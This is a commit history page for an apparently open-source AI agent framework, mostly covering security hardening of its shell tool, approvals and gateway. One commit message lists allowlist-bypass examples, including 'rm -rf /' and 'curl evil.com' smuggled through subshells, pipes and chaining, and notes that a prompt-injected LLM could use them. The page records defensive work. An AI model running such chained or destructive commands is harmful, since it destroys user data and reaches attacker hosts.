Commit graph

22 commits

Author SHA1 Message Date
harald
5b896f3378 feat(observability): add debug/trace logging to shell tool and command policy
Shell tool now logs at debug level: command invocations, policy
allow/block decisions with reasons, exit codes, and output sizes.
Trace level adds full stdout/stderr content and risk assessment details.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-25 13:13:19 +01:00
harald
05e1102af9 feat(security): support wildcard "*" in allowed_commands
Allow `allowed_commands = ["*"]` to bypass the command allowlist check.
Hardcoded safety blocks (subshell operators, redirections, tee,
background &) still apply regardless of wildcard.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-25 12:21:04 +01:00
Alex Gorevski
9a6fa76825 readd tests, remove markdown files 2026-02-18 14:42:39 +08:00
fettpl
4f9c87ff74 fix(policy): standardize side-effect tool autonomy gates 2026-02-18 12:42:56 +08:00
stawky
ab561baa97 feat(approval): interactive approval workflow for supervised mode (#215)
- Add auto_approve / always_ask fields to AutonomyConfig
- New src/approval/ module: ApprovalManager with session-scoped allowlist,
  ApprovalRequest/Response types, audit logging, CLI interactive prompt
- Insert approval hook in agent_turn before tool execution
- Non-CLI channels auto-approve; CLI shows Y/N/A prompt
- Skip approval for read-only tools (file_read, memory_recall) by default
- 15 unit tests covering all approval logic
2026-02-17 23:06:12 +08:00
Rin
9ec1106f53
security: fix argument injection in shell command validation (#465) 2026-02-17 08:11:20 -05:00
fettpl
a2986db3d6
fix(security): enhance shell redirection blocking in security policy (#521)
* fix(security): enhance shell redirection blocking in security policy

Block process substitution (<(...) and >(...)) and tee command in
is_command_allowed() to close shell escape vectors that bypass existing
redirect and subshell checks.

Closes #514

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* style: apply rustfmt to providers/mod.rs

Fix pre-existing formatting issue from main.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-17 07:54:26 -05:00
Lawyered
8cf6c89ebc docs(security): document single-ampersand blocking in command policy 2026-02-16 23:06:27 -05:00
Lawyered
e8088f624e test(security): cover background-chain validation path 2026-02-16 23:06:27 -05:00
Lawyered
0f56211892 fix(security): block single-ampersand command chaining bypass 2026-02-16 23:06:27 -05:00
Argenis
e8553a800a
fix(channels): use platform message IDs to prevent duplicate memories
Fixes #430 - Prevents duplicate memories after restart by using platform message IDs instead of random UUIDs.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-16 19:04:37 -05:00
Argenis
15e1d50a5d
fix: replace std::sync::Mutex with parking_lot::Mutex (#350)
Merges #422
2026-02-16 15:02:46 -05:00
Chummy
b0e1e32819
feat(config): make config writes atomic with rollback-safe replacement (#190)
* feat(runtime): add Docker runtime MVP and runtime-aware command builder

* feat(security): add shell risk classification, approval gates, and action throttling

* feat(gateway): add per-endpoint rate limiting and webhook idempotency

* feat(config): make config writes atomic with rollback-safe replacement

---------

Co-authored-by: chumyin <chumyin@users.noreply.github.com>
2026-02-15 12:18:45 -05:00
Argenis
031683aae6
fix(security): use path-component matching for forbidden paths (#132)
- Use Path::components() to check for actual .. path components instead of
  simple string matching (which was too conservative)
- Block URL-encoded traversal attempts (e.g., ..%2f)
- Expand tilde (~) for comparison
- Use path-component-aware matching for forbidden paths
- Update test to allow .. in filenames but block actual path traversal

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 08:30:48 -05:00
argenis de la rosa
ec2d5cc93d feat: enhance agent personality, tool guidance, and memory hygiene
- Expand communication style presets (professional, expressive, custom)
- Enrich SOUL.md with human-like tone and emoji-awareness guidance
- Add crash recovery and sub-task scoping guidance to AGENTS.md scaffold
- Add 'Use when / Don't use when' guidance to TOOLS.md and runtime prompts
- Implement memory hygiene system with configurable archiving and retention
- Add MemoryConfig options: hygiene_enabled, archive_after_days, purge_after_days, conversation_retention_days
- Archive old daily memory and session files to archive subdirectories
- Purge old archives and prune stale SQLite conversation rows
- Add comprehensive tests for new features
2026-02-14 11:28:39 -05:00
Víctor R. Escobar
e6a4166edb fix: validate all segments of shell commands against allowlist
The previous is_command_allowed() only checked the first word of the
command string, but the full string was passed to `sh -c`, which
interprets all shell metacharacters. An attacker (or a prompt-injected
LLM) could bypass the allowlist:

  echo $(rm -rf /)      — subshell hides arbitrary command
  echo `curl evil.com`  — backtick subshell
  ls | curl evil.com    — pipe to unlisted command
  ls && rm -rf /        — chain via &&
  ls\nrm -rf /          — newline injection

Now is_command_allowed():
- Blocks subshell operators (backtick, $(, ${)
- Blocks output redirections (>)
- Splits on |, &&, ||, ;, newlines and validates EACH sub-command
- Skips leading env var assignments (FOO=bar cmd)

Legitimate piped commands like `ls | grep foo` still work since both
sides are in the allowlist.

CWE-78 / HIGH-1

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 13:55:09 +01:00
argenis de la rosa
b2aff60722 security: pass all 4 checklist items — gateway not public, pairing required, filesystem scoped, tunnel access
Security checklist from @anshnanda / @ledger_eth:
   Gateway not public — default bind 127.0.0.1, refuses 0.0.0.0 without
     tunnel or explicit allow_public_bind=true in config
   Pairing required — one-time 6-digit code printed on startup, exchanged
     for bearer token via POST /pair, enforced on all /webhook requests
   Filesystem scoped (no /) — workspace_only=true by default, null byte
     injection blocked, 14 system dirs + 4 sensitive dotfiles in forbidden
     list, is_resolved_path_allowed() for symlink escape prevention
   Access via Tailscale/SSH tunnel — tunnel system integrated, gateway
     refuses public bind without active tunnel

New files:
  src/security/pairing.rs — PairingGuard with OTP generation, constant-time
    code comparison, bearer token issuance, token persistence

Changed files:
  src/config/schema.rs — GatewayConfig (require_pairing, allow_public_bind,
    paired_tokens), expanded AutonomyConfig forbidden_paths
  src/config/mod.rs — export GatewayConfig
  src/gateway/mod.rs — public bind guard, pairing enforcement on /webhook,
    /pair endpoint, /health no longer leaks version/memory info
  src/security/policy.rs — null byte blocking, is_resolved_path_allowed(),
    expanded forbidden_paths (14 system dirs + 4 dotfiles)
  src/security/mod.rs — export pairing module
  src/onboard/wizard.rs — wire gateway config

935 tests passing (up from 905), 0 clippy warnings, cargo fmt clean
2026-02-14 00:39:51 -05:00
argenis de la rosa
4fceba0740 fix: CI failures — update deny.toml for cargo-deny v2, fix clippy derivable_impls
- deny.toml: remove deprecated fields (vulnerability, notice, unlicensed, copyleft)
  that were removed in cargo-deny v2. Add CDLA-Permissive-2.0 for webpki-roots.
- security/policy.rs: replace manual Default impl for AutonomyLevel with
  #[derive(Default)] + #[default] attribute (clippy::derivable_impls on Rust 1.93)

657 tests passing, 0 clippy warnings (Rust 1.93.1), cargo-deny clean
2026-02-13 17:09:22 -05:00
argenis de la rosa
bc31e4389b style: cargo fmt — fix all formatting for CI
Ran cargo fmt across entire codebase to pass CI's cargo fmt --check.
No logic changes, only whitespace/formatting.
2026-02-13 16:03:50 -05:00
argenis de la rosa
a5887ad2dc docs+tests: architecture diagram, security docs, 75 new edge-case tests
README:
- Add ASCII architecture flow diagram showing all layers
- Add Security Architecture section (Layer 1: Channel Auth,
  Layer 2: Rate Limiting, Layer 3: Tool Sandbox)
- Update test count to 629

New edge-case tests (75 new):
- SecurityPolicy: command injection (semicolon, backtick, dollar-paren,
  env prefix, newline), path traversal (encoded dots, double-dot in
  filename, null byte, symlink, tilde-ssh, /var/run), rate limiter
  boundaries (exactly-at, zero, high), autonomy+command combos,
  from_config fresh tracker
- Discord: exact match not substring, empty user ID, wildcard+specific,
  case sensitivity, base64 edge cases
- Slack: exact match, empty user ID, case sensitivity, wildcard combo
- Telegram: exact match, empty string, case sensitivity, wildcard combo
- Gateway: first-match-wins, empty value, colon in value, different
  headers, empty request, newline-only request
- Config schema: backward compat (Discord/Slack without allowed_users),
  TOML roundtrip, webhook secret presence/absence

629 tests passing, 0 clippy warnings
2026-02-13 16:00:15 -05:00
argenis de la rosa
542bb80743 security: harden architecture against Moltbot security model
- Discord: add allowed_users field + sender validation in listen()
- Slack: add allowed_users field + sender validation in listen()
- Webhook: add X-Webhook-Secret header auth (401 on mismatch)
- SecurityPolicy: add ActionTracker with sliding-window rate limiting
  - record_action() enforces max_actions_per_hour
  - is_rate_limited() checks without recording
- Gateway: print auth status on startup (ENABLED/DISABLED)
- 22 new tests (Discord/Slack allowlists, gateway header extraction,
  rate limiter: starts at zero, records, allows within limit,
  blocks over limit, clone independence)
- 554 tests passing, 0 clippy warnings
2026-02-13 15:31:21 -05:00
argenis de la rosa
05cb353f7f feat: initial release — ZeroClaw v0.1.0
- 22 AI providers (OpenRouter, Anthropic, OpenAI, Mistral, etc.)
- 7 channels (CLI, Telegram, Discord, Slack, iMessage, Matrix, Webhook)
- 5-step onboarding wizard with Project Context personalization
- OpenClaw-aligned system prompt (SOUL.md, IDENTITY.md, USER.md, AGENTS.md, etc.)
- SQLite memory backend with auto-save
- Skills system with on-demand loading
- Security: autonomy levels, command allowlists, cost limits
- 532 tests passing, 0 clippy warnings
2026-02-13 12:19:14 -05:00